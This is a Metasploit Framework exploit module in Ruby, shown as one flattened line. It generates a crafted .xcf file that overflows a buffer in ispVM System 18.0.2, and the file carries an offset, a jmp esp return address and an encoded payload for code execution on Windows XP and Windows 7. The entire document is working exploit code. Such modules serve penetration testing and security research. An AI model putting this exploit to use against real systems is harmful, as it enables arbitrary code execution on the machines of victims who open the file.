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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => "ispVM System XCF File Handling Overflow", 'Description'=> %q{ This module exploits a vulnerability found in ispVM System 18.0.2.Due to the way ispVM handles .xcf files, it is possible to cause a buffer overflow with a specially crafted file, when a long value is supplied for the version attribute of the ispXCF tag. It results in arbitrary code execution under the context of the user. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability Discovery 'juan vazquez' # Metasploit ], 'References' => [ ['OSVDB', '82000'], ['BID', '53562'], ['URL', 'http://secunia.com/advisories/48740/'] ], 'Payload'=> { 'Space'=> 4000, 'BadChars' => "\x00\x1a\x3c\x20\x3e\xff" }, 'DefaultOptions'=> { 'ExitFunction' => "process", }, 'Platform' => 'win', 'Targets'=> [ [ 'ispVM System 18.0.2 / Windows XP SP3 / Windows 7 SP1', { 'Offset' => 274, 'BreakOffset' => 243, 'Ret' => 0x780e9d6e # jmp esp from C:\ispTOOLS\ispvmsystem\MSVCP60.dll } ], ], 'Privileged' => false, 'DisclosureDate' => "May 16 2012", 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.','msf.xcf']), ], self.class) end def exploit buf = rand_text(target['Offset']) buf[target['BreakOffset']] = "A" buf << [target.ret].pack("V") buf << payload.encoded xcf = %Q| <?xml version='1.0' encoding='utf-8' ?> <!DOCTYPE ispXCF SYSTEM "IspXCF.dtd" > <ispXCF version="#{buf}"> </ispXCF> | file_create(xcf) end end |
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